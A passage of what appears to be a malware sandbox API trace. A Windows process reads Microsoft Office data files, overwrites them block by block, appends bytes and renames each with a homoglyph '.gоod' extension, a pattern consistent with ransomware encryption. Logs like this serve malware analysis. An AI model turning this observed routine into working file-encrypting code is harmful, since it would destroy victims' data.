ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf6fdca2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25e95)) returned 1 [0135.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0135.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0135.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0135.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0135.776] GetFileType (hFile=0x650) returned 0x1 [0135.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0135.776] GetFileType (hFile=0x650) returned 0x1 [0135.776] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0135.776] ReadFile (in: hFile=0x650, lpBuffer=0x39e1418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x39e1418*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0135.782] CloseHandle (hObject=0x650) returned 1 [0135.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0135.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0135.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0135.783] GetFileType (hFile=0x650) returned 0x1 [0135.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0135.783] GetFileType (hFile=0x650) returned 0x1 [0135.783] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x25e95 [0135.783] WriteFile (in: hFile=0x650, lpBuffer=0x39e8040*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x39e8040*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0135.853] CloseHandle (hObject=0x650) returned 1 [0135.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0135.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0135.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0135.854] GetFileType (hFile=0x650) returned 0x1 [0135.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0135.854] GetFileType (hFile=0x650) returned 0x1 [0135.854] ReadFile (in: hFile=0x650, lpBuffer=0x3a688f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3a688f8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0136.132] CloseHandle (hObject=0x650) returned 1 [0136.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0136.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.133] GetFileType (hFile=0x650) returned 0x1 [0136.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.133] GetFileType (hFile=0x650) returned 0x1 [0136.133] WriteFile (in: hFile=0x650, lpBuffer=0x379dd28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x379dd28*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0136.133] CloseHandle (hObject=0x650) returned 1 [0136.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0136.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0136.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0136.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d59c4e0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25ea5)) returned 1 [0136.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0136.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0136.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0136.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x38bd0b8 | out: lpFileInformation=0x38bd0b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1afe)) returned 1 [0136.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0136.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.135] GetFileType (hFile=0x650) returned 0x1 [0136.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.135] GetFileType (hFile=0x650) returned 0x1 [0136.135] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0136.135] ReadFile (in: hFile=0x650, lpBuffer=0x38bd540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x38bd540*, lpNumberOfBytesRead=0x1fcee2d8*=0xafe, lpOverlapped=0x0) returned 1 [0136.137] CloseHandle (hObject=0x650) returned 1 [0136.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.137] GetFileType (hFile=0x650) returned 0x1 [0136.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.137] GetFileType (hFile=0x650) returned 0x1 [0136.137] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1afe [0136.137] WriteFile (in: hFile=0x650, lpBuffer=0x38be810*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x38be810*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0136.137] CloseHandle (hObject=0x650) returned 1 [0136.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.138] GetFileType (hFile=0x650) returned 0x1 [0136.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.138] GetFileType (hFile=0x650) returned 0x1 [0136.138] ReadFile (in: hFile=0x650, lpBuffer=0x38c0b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x38c0b08*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0136.164] CloseHandle (hObject=0x650) returned 1 [0136.164] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.164] GetFileType (hFile=0x650) returned 0x1 [0136.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.165] GetFileType (hFile=0x650) returned 0x1 [0136.165] WriteFile (in: hFile=0x650, lpBuffer=0x38bf828*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x38bf828*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0136.165] CloseHandle (hObject=0x650) returned 1 [0136.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0136.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0136.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0136.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d5e8a1c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0e)) returned 1 [0136.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0136.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0136.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0136.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0136.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x393cc28 | out: lpFileInformation=0x393cc28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd054bfa0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20c6)) returned 1 [0136.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0136.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0136.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0136.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0136.662] GetFileType (hFile=0x640) returned 0x1 [0136.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0136.662] GetFileType (hFile=0x640) returned 0x1 [0136.662] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0136.662] ReadFile (in: hFile=0x640, lpBuffer=0x393d090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x393d090*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0137.014] CloseHandle (hObject=0x640) returned 1 [0137.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0137.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0137.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0137.056] GetFileType (hFile=0x61c) returned 0x1 [0137.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0137.056] GetFileType (hFile=0x61c) returned 0x1 [0137.056] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x20c6 [0137.056] WriteFile (in: hFile=0x61c, lpBuffer=0x3925e48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3925e48*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0137.388] CloseHandle (hObject=0x61c) returned 1 [0137.390] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0137.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0137.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0137.421] GetFileType (hFile=0x61c) returned 0x1 [0137.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0137.421] GetFileType (hFile=0x61c) returned 0x1 [0137.421] ReadFile (in: hFile=0x61c, lpBuffer=0x39da370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x39da370*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0138.311] CloseHandle (hObject=0x61c) returned 1 [0138.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0138.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0138.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0138.312] GetFileType (hFile=0x61c) returned 0x1 [0138.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0138.312] GetFileType (hFile=0x61c) returned 0x1 [0138.312] WriteFile (in: hFile=0x61c, lpBuffer=0x3824b78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3824b78*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0138.312] CloseHandle (hObject=0x61c) returned 1 [0138.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0138.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4d [0138.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0138.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ea78dd5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20d6)) returned 1 [0138.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0138.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0138.313] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0138.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0138.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3be9cc8 | out: lpFileInformation=0x3be9cc8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, 